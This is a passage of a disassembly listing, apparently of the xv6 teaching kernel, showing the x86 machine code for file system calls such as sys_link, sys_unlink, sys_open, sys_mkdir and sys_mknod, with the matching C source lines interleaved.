leave 80104c9d: c3 ret 80104c9e: 66 90 xchg %ax,%ax { struct file *f; struct stat *st; if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) return -1; 80104ca0: b8 ff ff ff ff mov $0xffffffff,%eax return filestat(f, st); } 80104ca5: c9 leave 80104ca6: c3 ret 80104ca7: 89 f6 mov %esi,%esi 80104ca9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104cb0 <sys_link>: // Create the path new as a link to the same inode as old. int sys_link(void) { 80104cb0: 55 push %ebp 80104cb1: 89 e5 mov %esp,%ebp 80104cb3: 57 push %edi 80104cb4: 56 push %esi 80104cb5: 53 push %ebx char name[DIRSIZ], *new, *old; struct inode *dp, *ip; if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104cb6: 8d 45 d4 lea -0x2c(%ebp),%eax } // Create the path new as a link to the same inode as old. int sys_link(void) { 80104cb9: 83 ec 34 sub $0x34,%esp char name[DIRSIZ], *new, *old; struct inode *dp, *ip; if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80104cbc: 50 push %eax 80104cbd: 6a 00 push $0x0 80104cbf: e8 3c fb ff ff call 80104800 <argstr> 80104cc4: 83 c4 10 add $0x10,%esp 80104cc7: 85 c0 test %eax,%eax 80104cc9: 0f 88 fb 00 00 00 js 80104dca <sys_link+0x11a> 80104ccf: 8d 45 d0 lea -0x30(%ebp),%eax 80104cd2: 83 ec 08 sub $0x8,%esp 80104cd5: 50 push %eax 80104cd6: 6a 01 push $0x1 80104cd8: e8 23 fb ff ff call 80104800 <argstr> 80104cdd: 83 c4 10 add $0x10,%esp 80104ce0: 85 c0 test %eax,%eax 80104ce2: 0f 88 e2 00 00 00 js 80104dca <sys_link+0x11a> return -1; begin_op(); 80104ce8: e8 63 de ff ff call 80102b50 <begin_op> if((ip = namei(old)) == 0){ 80104ced: 83 ec 0c sub $0xc,%esp 80104cf0: ff 75 d4 pushl -0x2c(%ebp) 80104cf3: e8 c8 d1 ff ff call 80101ec0 <namei> 80104cf8: 83 c4 10 add $0x10,%esp 80104cfb: 85 c0 test %eax,%eax 80104cfd: 89 c3 mov %eax,%ebx 80104cff: 0f 84 f3 00 00 00 je 80104df8 <sys_link+0x148> end_op(); return -1; } ilock(ip); 80104d05: 83 ec 0c sub $0xc,%esp 80104d08: 50 push %eax 80104d09: e8 62 c9 ff ff call 80101670 <ilock> if(ip->type == T_DIR){ 80104d0e: 83 c4 10 add $0x10,%esp 80104d11: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104d16: 0f 84 c4 00 00 00 je 80104de0 <sys_link+0x130> iunlockput(ip); end_op(); return -1; } ip->nlink++; 80104d1c: 66 83 43 56 01 addw $0x1,0x56(%ebx) iupdate(ip); 80104d21: 83 ec 0c sub $0xc,%esp iunlock(ip); if((dp = nameiparent(new, name)) == 0) 80104d24: 8d 7d da lea -0x26(%ebp),%edi end_op(); return -1; } ip->nlink++; iupdate(ip); 80104d27: 53 push %ebx 80104d28: e8 93 c8 ff ff call 801015c0 <iupdate> iunlock(ip); 80104d2d: 89 1c 24 mov %ebx,(%esp) 80104d30: e8 1b ca ff ff call 80101750 <iunlock> if((dp = nameiparent(new, name)) == 0) 80104d35: 58 pop %eax 80104d36: 5a pop %edx 80104d37: 57 push %edi 80104d38: ff 75 d0 pushl -0x30(%ebp) 80104d3b: e8 a0 d1 ff ff call 80101ee0 <nameiparent> 80104d40: 83 c4 10 add $0x10,%esp 80104d43: 85 c0 test %eax,%eax 80104d45: 89 c6 mov %eax,%esi 80104d47: 74 5b je 80104da4 <sys_link+0xf4> goto bad; ilock(dp); 80104d49: 83 ec 0c sub $0xc,%esp 80104d4c: 50 push %eax 80104d4d: e8 1e c9 ff ff call 80101670 <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 80104d52: 83 c4 10 add $0x10,%esp 80104d55: 8b 03 mov (%ebx),%eax 80104d57: 39 06 cmp %eax,(%esi) 80104d59: 75 3d jne 80104d98 <sys_link+0xe8> 80104d5b: 83 ec 04 sub $0x4,%esp 80104d5e: ff 73 04 pushl 0x4(%ebx) 80104d61: 57 push %edi 80104d62: 56 push %esi 80104d63: e8 98 d0 ff ff call 80101e00 <dirlink> 80104d68: 83 c4 10 add $0x10,%esp 80104d6b: 85 c0 test %eax,%eax 80104d6d: 78 29 js 80104d98 <sys_link+0xe8> iunlockput(dp); goto bad; } iunlockput(dp); 80104d6f: 83 ec 0c sub $0xc,%esp 80104d72: 56 push %esi 80104d73: e8 88 cb ff ff call 80101900 <iunlockput> iput(ip); 80104d78: 89 1c 24 mov %ebx,(%esp) 80104d7b: e8 20 ca ff ff call 801017a0 <iput> end_op(); 80104d80: e8 3b de ff ff call 80102bc0 <end_op> return 0; 80104d85: 83 c4 10 add $0x10,%esp 80104d88: 31 c0 xor %eax,%eax ip->nlink--; iupdate(ip); iunlockput(ip); end_op(); return -1; } 80104d8a: 8d 65 f4 lea -0xc(%ebp),%esp 80104d8d: 5b pop %ebx 80104d8e: 5e pop %esi 80104d8f: 5f pop %edi 80104d90: 5d pop %ebp 80104d91: c3 ret 80104d92: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if((dp = nameiparent(new, name)) == 0) goto bad; ilock(dp); if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ iunlockput(dp); 80104d98: 83 ec 0c sub $0xc,%esp 80104d9b: 56 push %esi 80104d9c: e8 5f cb ff ff call 80101900 <iunlockput> goto bad; 80104da1: 83 c4 10 add $0x10,%esp end_op(); return 0; bad: ilock(ip); 80104da4: 83 ec 0c sub $0xc,%esp 80104da7: 53 push %ebx 80104da8: e8 c3 c8 ff ff call 80101670 <ilock> ip->nlink--; 80104dad: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104db2: 89 1c 24 mov %ebx,(%esp) 80104db5: e8 06 c8 ff ff call 801015c0 <iupdate> iunlockput(ip); 80104dba: 89 1c 24 mov %ebx,(%esp) 80104dbd: e8 3e cb ff ff call 80101900 <iunlockput> end_op(); 80104dc2: e8 f9 dd ff ff call 80102bc0 <end_op> return -1; 80104dc7: 83 c4 10 add $0x10,%esp } 80104dca: 8d 65 f4 lea -0xc(%ebp),%esp ilock(ip); ip->nlink--; iupdate(ip); iunlockput(ip); end_op(); return -1; 80104dcd: b8 ff ff ff ff mov $0xffffffff,%eax } 80104dd2: 5b pop %ebx 80104dd3: 5e pop %esi 80104dd4: 5f pop %edi 80104dd5: 5d pop %ebp 80104dd6: c3 ret 80104dd7: 89 f6 mov %esi,%esi 80104dd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return -1; } ilock(ip); if(ip->type == T_DIR){ iunlockput(ip); 80104de0: 83 ec 0c sub $0xc,%esp 80104de3: 53 push %ebx 80104de4: e8 17 cb ff ff call 80101900 <iunlockput> end_op(); 80104de9: e8 d2 dd ff ff call 80102bc0 <end_op> return -1; 80104dee: 83 c4 10 add $0x10,%esp 80104df1: b8 ff ff ff ff mov $0xffffffff,%eax 80104df6: eb 92 jmp 80104d8a <sys_link+0xda> if(argstr(0, &old) < 0 || argstr(1, &new) < 0) return -1; begin_op(); if((ip = namei(old)) == 0){ end_op(); 80104df8: e8 c3 dd ff ff call 80102bc0 <end_op> return -1; 80104dfd: b8 ff ff ff ff mov $0xffffffff,%eax 80104e02: eb 86 jmp 80104d8a <sys_link+0xda> 80104e04: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104e0a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80104e10 <sys_unlink>: } //PAGEBREAK! int sys_unlink(void) { 80104e10: 55 push %ebp 80104e11: 89 e5 mov %esp,%ebp 80104e13: 57 push %edi 80104e14: 56 push %esi 80104e15: 53 push %ebx struct inode *ip, *dp; struct dirent de; char name[DIRSIZ], *path; uint off; if(argstr(0, &path) < 0) 80104e16: 8d 45 c0 lea -0x40(%ebp),%eax } //PAGEBREAK! int sys_unlink(void) { 80104e19: 83 ec 54 sub $0x54,%esp struct inode *ip, *dp; struct dirent de; char name[DIRSIZ], *path; uint off; if(argstr(0, &path) < 0) 80104e1c: 50 push %eax 80104e1d: 6a 00 push $0x0 80104e1f: e8 dc f9 ff ff call 80104800 <argstr> 80104e24: 83 c4 10 add $0x10,%esp 80104e27: 85 c0 test %eax,%eax 80104e29: 0f 88 82 01 00 00 js 80104fb1 <sys_unlink+0x1a1> return -1; begin_op(); if((dp = nameiparent(path, name)) == 0){ 80104e2f: 8d 5d ca lea -0x36(%ebp),%ebx uint off; if(argstr(0, &path) < 0) return -1; begin_op(); 80104e32: e8 19 dd ff ff call 80102b50 <begin_op> if((dp = nameiparent(path, name)) == 0){ 80104e37: 83 ec 08 sub $0x8,%esp 80104e3a: 53 push %ebx 80104e3b: ff 75 c0 pushl -0x40(%ebp) 80104e3e: e8 9d d0 ff ff call 80101ee0 <nameiparent> 80104e43: 83 c4 10 add $0x10,%esp 80104e46: 85 c0 test %eax,%eax 80104e48: 89 45 b4 mov %eax,-0x4c(%ebp) 80104e4b: 0f 84 6a 01 00 00 je 80104fbb <sys_unlink+0x1ab> end_op(); return -1; } ilock(dp); 80104e51: 8b 75 b4 mov -0x4c(%ebp),%esi 80104e54: 83 ec 0c sub $0xc,%esp 80104e57: 56 push %esi 80104e58: e8 13 c8 ff ff call 80101670 <ilock> // Cannot unlink "." or "..". if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 80104e5d: 58 pop %eax 80104e5e: 5a pop %edx 80104e5f: 68 98 76 10 80 push $0x80107698 80104e64: 53 push %ebx 80104e65: e8 16 cd ff ff call 80101b80 <namecmp> 80104e6a: 83 c4 10 add $0x10,%esp 80104e6d: 85 c0 test %eax,%eax 80104e6f: 0f 84 fc 00 00 00 je 80104f71 <sys_unlink+0x161> 80104e75: 83 ec 08 sub $0x8,%esp 80104e78: 68 97 76 10 80 push $0x80107697 80104e7d: 53 push %ebx 80104e7e: e8 fd cc ff ff call 80101b80 <namecmp> 80104e83: 83 c4 10 add $0x10,%esp 80104e86: 85 c0 test %eax,%eax 80104e88: 0f 84 e3 00 00 00 je 80104f71 <sys_unlink+0x161> goto bad; if((ip = dirlookup(dp, name, &off)) == 0) 80104e8e: 8d 45 c4 lea -0x3c(%ebp),%eax 80104e91: 83 ec 04 sub $0x4,%esp 80104e94: 50 push %eax 80104e95: 53 push %ebx 80104e96: 56 push %esi 80104e97: e8 04 cd ff ff call 80101ba0 <dirlookup> 80104e9c: 83 c4 10 add $0x10,%esp 80104e9f: 85 c0 test %eax,%eax 80104ea1: 89 c3 mov %eax,%ebx 80104ea3: 0f 84 c8 00 00 00 je 80104f71 <sys_unlink+0x161> goto bad; ilock(ip); 80104ea9: 83 ec 0c sub $0xc,%esp 80104eac: 50 push %eax 80104ead: e8 be c7 ff ff call 80101670 <ilock> if(ip->nlink < 1) 80104eb2: 83 c4 10 add $0x10,%esp 80104eb5: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 80104eba: 0f 8e 24 01 00 00 jle 80104fe4 <sys_unlink+0x1d4> panic("unlink: nlink < 1"); if(ip->type == T_DIR && !isdirempty(ip)){ 80104ec0: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104ec5: 8d 75 d8 lea -0x28(%ebp),%esi 80104ec8: 74 66 je 80104f30 <sys_unlink+0x120> iunlockput(ip); goto bad; } memset(&de, 0, sizeof(de)); 80104eca: 83 ec 04 sub $0x4,%esp 80104ecd: 6a 10 push $0x10 80104ecf: 6a 00 push $0x0 80104ed1: 56 push %esi 80104ed2: e8 69 f5 ff ff call 80104440 <memset> if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104ed7: 6a 10 push $0x10 80104ed9: ff 75 c4 pushl -0x3c(%ebp) 80104edc: 56 push %esi 80104edd: ff 75 b4 pushl -0x4c(%ebp) 80104ee0: e8 6b cb ff ff call 80101a50 <writei> 80104ee5: 83 c4 20 add $0x20,%esp 80104ee8: 83 f8 10 cmp $0x10,%eax 80104eeb: 0f 85 e6 00 00 00 jne 80104fd7 <sys_unlink+0x1c7> panic("unlink: writei"); if(ip->type == T_DIR){ 80104ef1: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104ef6: 0f 84 9c 00 00 00 je 80104f98 <sys_unlink+0x188> dp->nlink--; iupdate(dp); } iunlockput(dp); 80104efc: 83 ec 0c sub $0xc,%esp 80104eff: ff 75 b4 pushl -0x4c(%ebp) 80104f02: e8 f9 c9 ff ff call 80101900 <iunlockput> ip->nlink--; 80104f07: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104f0c: 89 1c 24 mov %ebx,(%esp) 80104f0f: e8 ac c6 ff ff call 801015c0 <iupdate> iunlockput(ip); 80104f14: 89 1c 24 mov %ebx,(%esp) 80104f17: e8 e4 c9 ff ff call 80101900 <iunlockput> end_op(); 80104f1c: e8 9f dc ff ff call 80102bc0 <end_op> return 0; 80104f21: 83 c4 10 add $0x10,%esp 80104f24: 31 c0 xor %eax,%eax bad: iunlockput(dp); end_op(); return -1; } 80104f26: 8d 65 f4 lea -0xc(%ebp),%esp 80104f29: 5b pop %ebx 80104f2a: 5e pop %esi 80104f2b: 5f pop %edi 80104f2c: 5d pop %ebp 80104f2d: c3 ret 80104f2e: 66 90 xchg %ax,%ax isdirempty(struct inode *dp) { int off; struct dirent de; for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80104f30: 83 7b 58 20 cmpl $0x20,0x58(%ebx) 80104f34: 76 94 jbe 80104eca <sys_unlink+0xba> 80104f36: bf 20 00 00 00 mov $0x20,%edi 80104f3b: eb 0f jmp 80104f4c <sys_unlink+0x13c> 80104f3d: 8d 76 00 lea 0x0(%esi),%esi 80104f40: 83 c7 10 add $0x10,%edi 80104f43: 3b 7b 58 cmp 0x58(%ebx),%edi 80104f46: 0f 83 7e ff ff ff jae 80104eca <sys_unlink+0xba> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104f4c: 6a 10 push $0x10 80104f4e: 57 push %edi 80104f4f: 56 push %esi 80104f50: 53 push %ebx 80104f51: e8 fa c9 ff ff call 80101950 <readi> 80104f56: 83 c4 10 add $0x10,%esp 80104f59: 83 f8 10 cmp $0x10,%eax 80104f5c: 75 6c jne 80104fca <sys_unlink+0x1ba> panic("isdirempty: readi"); if(de.inum != 0) 80104f5e: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80104f63: 74 db je 80104f40 <sys_unlink+0x130> ilock(ip); if(ip->nlink < 1) panic("unlink: nlink < 1"); if(ip->type == T_DIR && !isdirempty(ip)){ iunlockput(ip); 80104f65: 83 ec 0c sub $0xc,%esp 80104f68: 53 push %ebx 80104f69: e8 92 c9 ff ff call 80101900 <iunlockput> goto bad; 80104f6e: 83 c4 10 add $0x10,%esp end_op(); return 0; bad: iunlockput(dp); 80104f71: 83 ec 0c sub $0xc,%esp 80104f74: ff 75 b4 pushl -0x4c(%ebp) 80104f77: e8 84 c9 ff ff call 80101900 <iunlockput> end_op(); 80104f7c: e8 3f dc ff ff call 80102bc0 <end_op> return -1; 80104f81: 83 c4 10 add $0x10,%esp } 80104f84: 8d 65 f4 lea -0xc(%ebp),%esp return 0; bad: iunlockput(dp); end_op(); return -1; 80104f87: b8 ff ff ff ff mov $0xffffffff,%eax } 80104f8c: 5b pop %ebx 80104f8d: 5e pop %esi 80104f8e: 5f pop %edi 80104f8f: 5d pop %ebp 80104f90: c3 ret 80104f91: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi memset(&de, 0, sizeof(de)); if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("unlink: writei"); if(ip->type == T_DIR){ dp->nlink--; 80104f98: 8b 45 b4 mov -0x4c(%ebp),%eax iupdate(dp); 80104f9b: 83 ec 0c sub $0xc,%esp memset(&de, 0, sizeof(de)); if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("unlink: writei"); if(ip->type == T_DIR){ dp->nlink--; 80104f9e: 66 83 68 56 01 subw $0x1,0x56(%eax) iupdate(dp); 80104fa3: 50 push %eax 80104fa4: e8 17 c6 ff ff call 801015c0 <iupdate> 80104fa9: 83 c4 10 add $0x10,%esp 80104fac: e9 4b ff ff ff jmp 80104efc <sys_unlink+0xec> struct dirent de; char name[DIRSIZ], *path; uint off; if(argstr(0, &path) < 0) return -1; 80104fb1: b8 ff ff ff ff mov $0xffffffff,%eax 80104fb6: e9 6b ff ff ff jmp 80104f26 <sys_unlink+0x116> begin_op(); if((dp = nameiparent(path, name)) == 0){ end_op(); 80104fbb: e8 00 dc ff ff call 80102bc0 <end_op> return -1; 80104fc0: b8 ff ff ff ff mov $0xffffffff,%eax 80104fc5: e9 5c ff ff ff jmp 80104f26 <sys_unlink+0x116> int off; struct dirent de; for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("isdirempty: readi"); 80104fca: 83 ec 0c sub $0xc,%esp 80104fcd: 68 bc 76 10 80 push $0x801076bc 80104fd2: e8 99 b3 ff ff call 80100370 <panic> goto bad; } memset(&de, 0, sizeof(de)); if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("unlink: writei"); 80104fd7: 83 ec 0c sub $0xc,%esp 80104fda: 68 ce 76 10 80 push $0x801076ce 80104fdf: e8 8c b3 ff ff call 80100370 <panic> if((ip = dirlookup(dp, name, &off)) == 0) goto bad; ilock(ip); if(ip->nlink < 1) panic("unlink: nlink < 1"); 80104fe4: 83 ec 0c sub $0xc,%esp 80104fe7: 68 aa 76 10 80 push $0x801076aa 80104fec: e8 7f b3 ff ff call 80100370 <panic> 80104ff1: eb 0d jmp 80105000 <sys_open> 80104ff3: 90 nop 80104ff4: 90 nop 80104ff5: 90 nop 80104ff6: 90 nop 80104ff7: 90 nop 80104ff8: 90 nop 80104ff9: 90 nop 80104ffa: 90 nop 80104ffb: 90 nop 80104ffc: 90 nop 80104ffd: 90 nop 80104ffe: 90 nop 80104fff: 90 nop 80105000 <sys_open>: return ip; } int sys_open(void) { 80105000: 55 push %ebp 80105001: 89 e5 mov %esp,%ebp 80105003: 57 push %edi 80105004: 56 push %esi 80105005: 53 push %ebx char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 80105006: 8d 45 e0 lea -0x20(%ebp),%eax return ip; } int sys_open(void) { 80105009: 83 ec 24 sub $0x24,%esp char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 8010500c: 50 push %eax 8010500d: 6a 00 push $0x0 8010500f: e8 ec f7 ff ff call 80104800 <argstr> 80105014: 83 c4 10 add $0x10,%esp 80105017: 85 c0 test %eax,%eax 80105019: 0f 88 9e 00 00 00 js 801050bd <sys_open+0xbd> 8010501f: 8d 45 e4 lea -0x1c(%ebp),%eax 80105022: 83 ec 08 sub $0x8,%esp 80105025: 50 push %eax 80105026: 6a 01 push $0x1 80105028: e8 23 f7 ff ff call 80104750 <argint> 8010502d: 83 c4 10 add $0x10,%esp 80105030: 85 c0 test %eax,%eax 80105032: 0f 88 85 00 00 00 js 801050bd <sys_open+0xbd> return -1; begin_op(); 80105038: e8 13 db ff ff call 80102b50 <begin_op> if(omode & O_CREATE){ 8010503d: f6 45 e5 02 testb $0x2,-0x1b(%ebp) 80105041: 0f 85 89 00 00 00 jne 801050d0 <sys_open+0xd0> if(ip == 0){ end_op(); return -1; } } else { if((ip = namei(path)) == 0){ 80105047: 83 ec 0c sub $0xc,%esp 8010504a: ff 75 e0 pushl -0x20(%ebp) 8010504d: e8 6e ce ff ff call 80101ec0 <namei> 80105052: 83 c4 10 add $0x10,%esp 80105055: 85 c0 test %eax,%eax 80105057: 89 c6 mov %eax,%esi 80105059: 0f 84 8e 00 00 00 je 801050ed <sys_open+0xed> end_op(); return -1; } ilock(ip); 8010505f: 83 ec 0c sub $0xc,%esp 80105062: 50 push %eax 80105063: e8 08 c6 ff ff call 80101670 <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 80105068: 83 c4 10 add $0x10,%esp 8010506b: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80105070: 0f 84 d2 00 00 00 je 80105148 <sys_open+0x148> end_op(); return -1; } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 80105076: e8 f5 bc ff ff call 80100d70 <filealloc> 8010507b: 85 c0 test %eax,%eax 8010507d: 89 c7 mov %eax,%edi 8010507f: 74 2b je 801050ac <sys_open+0xac> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 80105081: 31 db xor %ebx,%ebx // Takes over file reference from caller on success. static int fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); 80105083: e8 f8 e6 ff ff call 80103780 <myproc> 80105088: 90 nop 80105089: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ 80105090: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx 80105094: 85 d2 test %edx,%edx 80105096: 74 68 je 80105100 <sys_open+0x100> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 80105098: 83 c3 01 add $0x1,%ebx 8010509b: 83 fb 10 cmp $0x10,%ebx 8010509e: 75 f0 jne 80105090 <sys_open+0x90> } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ if(f) fileclose(f); 801050a0: 83 ec 0c sub $0xc,%esp 801050a3: 57 push %edi 801050a4: e8 87 bd ff ff call 80100e30 <fileclose> 801050a9: 83 c4 10 add $0x10,%esp iunlockput(ip); 801050ac: 83 ec 0c sub $0xc,%esp 801050af: 56 push %esi 801050b0: e8 4b c8 ff ff call 80101900 <iunlockput> end_op(); 801050b5: e8 06 db ff ff call 80102bc0 <end_op> return -1; 801050ba: 83 c4 10 add $0x10,%esp f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); f->writable = (omode & O_WRONLY) || (omode & O_RDWR); return fd; } 801050bd: 8d 65 f4 lea -0xc(%ebp),%esp if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ if(f) fileclose(f); iunlockput(ip); end_op(); return -1; 801050c0: b8 ff ff ff ff mov $0xffffffff,%eax f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); f->writable = (omode & O_WRONLY) || (omode & O_RDWR); return fd; } 801050c5: 5b pop %ebx 801050c6: 5e pop %esi 801050c7: 5f pop %edi 801050c8: 5d pop %ebp 801050c9: c3 ret 801050ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; begin_op(); if(omode & O_CREATE){ ip = create(path, T_FILE, 0, 0); 801050d0: 83 ec 0c sub $0xc,%esp 801050d3: 8b 45 e0 mov -0x20(%ebp),%eax 801050d6: 31 c9 xor %ecx,%ecx 801050d8: 6a 00 push $0x0 801050da: ba 02 00 00 00 mov $0x2,%edx 801050df: e8 dc f7 ff ff call 801048c0 <create> if(ip == 0){ 801050e4: 83 c4 10 add $0x10,%esp 801050e7: 85 c0 test %eax,%eax return -1; begin_op(); if(omode & O_CREATE){ ip = create(path, T_FILE, 0, 0); 801050e9: 89 c6 mov %eax,%esi if(ip == 0){ 801050eb: 75 89 jne 80105076 <sys_open+0x76> end_op(); 801050ed: e8 ce da ff ff call 80102bc0 <end_op> return -1; 801050f2: b8 ff ff ff ff mov $0xffffffff,%eax 801050f7: eb 43 jmp 8010513c <sys_open+0x13c> 801050f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi fileclose(f); iunlockput(ip); end_op(); return -1; } iunlock(ip); 80105100: 83 ec 0c sub $0xc,%esp int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ curproc->ofile[fd] = f; 80105103: 89 7c 98 28 mov %edi,0x28(%eax,%ebx,4) fileclose(f); iunlockput(ip); end_op(); return -1; } iunlock(ip); 80105107: 56 push %esi 80105108: e8 43 c6 ff ff call 80101750 <iunlock> end_op(); 8010510d: e8 ae da ff ff call 80102bc0 <end_op> f->type = FD_INODE; 80105112: c7 07 02 00 00 00 movl $0x2,(%edi) f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 80105118: 8b 55 e4 mov -0x1c(%ebp),%edx f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 8010511b: 83 c4 10 add $0x10,%esp } iunlock(ip); end_op(); f->type = FD_INODE; f->ip = ip; 8010511e: 89 77 10 mov %esi,0x10(%edi) f->off = 0; 80105121: c7 47 14 00 00 00 00 movl $0x0,0x14(%edi) f->readable = !(omode & O_WRONLY); 80105128: 89 d0 mov %edx,%eax 8010512a: 83 e0 01 and $0x1,%eax 8010512d: 83 f0 01 xor $0x1,%eax f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80105130: 83 e2 03 and $0x3,%edx end_op(); f->type = FD_INODE; f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 80105133: 88 47 08 mov %al,0x8(%edi) f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80105136: 0f 95 47 09 setne 0x9(%edi) return fd; 8010513a: 89 d8 mov %ebx,%eax } 8010513c: 8d 65 f4 lea -0xc(%ebp),%esp 8010513f: 5b pop %ebx 80105140: 5e pop %esi 80105141: 5f pop %edi 80105142: 5d pop %ebp 80105143: c3 ret 80105144: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if((ip = namei(path)) == 0){ end_op(); return -1; } ilock(ip); if(ip->type == T_DIR && omode != O_RDONLY){ 80105148: 8b 4d e4 mov -0x1c(%ebp),%ecx 8010514b: 85 c9 test %ecx,%ecx 8010514d: 0f 84 23 ff ff ff je 80105076 <sys_open+0x76> 80105153: e9 54 ff ff ff jmp 801050ac <sys_open+0xac> 80105158: 90 nop 80105159: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105160 <sys_mkdir>: return fd; } int sys_mkdir(void) { 80105160: 55 push %ebp 80105161: 89 e5 mov %esp,%ebp 80105163: 83 ec 18 sub $0x18,%esp char *path; struct inode *ip; begin_op(); 80105166: e8 e5 d9 ff ff call 80102b50 <begin_op> if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 8010516b: 8d 45 f4 lea -0xc(%ebp),%eax 8010516e: 83 ec 08 sub $0x8,%esp 80105171: 50 push %eax 80105172: 6a 00 push $0x0 80105174: e8 87 f6 ff ff call 80104800 <argstr> 80105179: 83 c4 10 add $0x10,%esp 8010517c: 85 c0 test %eax,%eax 8010517e: 78 30 js 801051b0 <sys_mkdir+0x50> 80105180: 83 ec 0c sub $0xc,%esp 80105183: 8b 45 f4 mov -0xc(%ebp),%eax 80105186: 31 c9 xor %ecx,%ecx 80105188: 6a 00 push $0x0 8010518a: ba 01 00 00 00 mov $0x1,%edx 8010518f: e8 2c f7 ff ff call 801048c0 <create> 80105194: 83 c4 10 add $0x10,%esp 80105197: 85 c0 test %eax,%eax 80105199: 74 15 je 801051b0 <sys_mkdir+0x50> end_op(); return -1; } iunlockput(ip); 8010519b: 83 ec 0c sub $0xc,%esp 8010519e: 50 push %eax 8010519f: e8 5c c7 ff ff call 80101900 <iunlockput> end_op(); 801051a4: e8 17 da ff ff call 80102bc0 <end_op> return 0; 801051a9: 83 c4 10 add $0x10,%esp 801051ac: 31 c0 xor %eax,%eax } 801051ae: c9 leave 801051af: c3 ret char *path; struct inode *ip; begin_op(); if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ end_op(); 801051b0: e8 0b da ff ff call 80102bc0 <end_op> return -1; 801051b5: b8 ff ff ff ff mov $0xffffffff,%eax } iunlockput(ip); end_op(); return 0; } 801051ba: c9 leave 801051bb: c3 ret 801051bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801051c0 <sys_mknod>: int sys_mknod(void) { 801051c0: 55 push %ebp 801051c1: 89 e5 mov %esp,%ebp 801051c3: 83 ec 18 sub $0x18,%esp struct inode *ip; char *path; int major, minor; begin_op(); 801051c6: e8 85 d9 ff ff call 80102b50 <begin_op> if((argstr(0, &path)) < 0 || 801051cb: 8d 45 ec lea -0x14(%ebp),%eax 801051ce: 83 ec 08 sub $0x8,%esp 801051d1: 50 push %eax 801051d2: 6a 00 push $0x0 801051d4: e8 27 f6 ff ff call 80104800 <argstr> 801051d9: 83 c4 10 add $0x10,%esp 801051dc: 85 c0 test %eax,%eax 801051de: 78 60 js 80105240 <sys_mknod+0x80> argint(1, &major) < 0 || 801051e0: 8d 45 f0 lea -0x10(%ebp),%eax 801051e3: 83 ec 08 sub $0x8,%esp 801051e6: 50 push %eax 801051e7: 6a 01 push $0x1 801051e9: e8 62 f5 ff ff call 80104750 <argint> struct inode *ip; char *path; int major, minor; begin_op(); if((argstr(0, &path)) < 0 || 801051ee: 83 c4 10 add $0x10,%esp 801051f1: 85 c0 test %eax,%eax 801051f3: 78 4b js 80105240 <sys_mknod+0x80> argint(1, &major) < 0 || argint(2, &minor) < 0 || 801051f5: 8d 45 f4 lea -0xc(%ebp),%eax 801051f8: 83 ec 08 sub $0x8,%esp 801051fb: 50 push %eax 801051fc: 6a 02 push $0x2 801051fe: e8 4d f5 ff ff call 80104750 <argint> char *path; int major, minor; begin_op(); if((argstr(0, &path)) < 0 || argint(1, &major) < 0 || 80105203: 83 c4 10 add $0x10,%esp 80105206: 85 c0 test %eax,%eax 80105208: 78 36 js 80105240 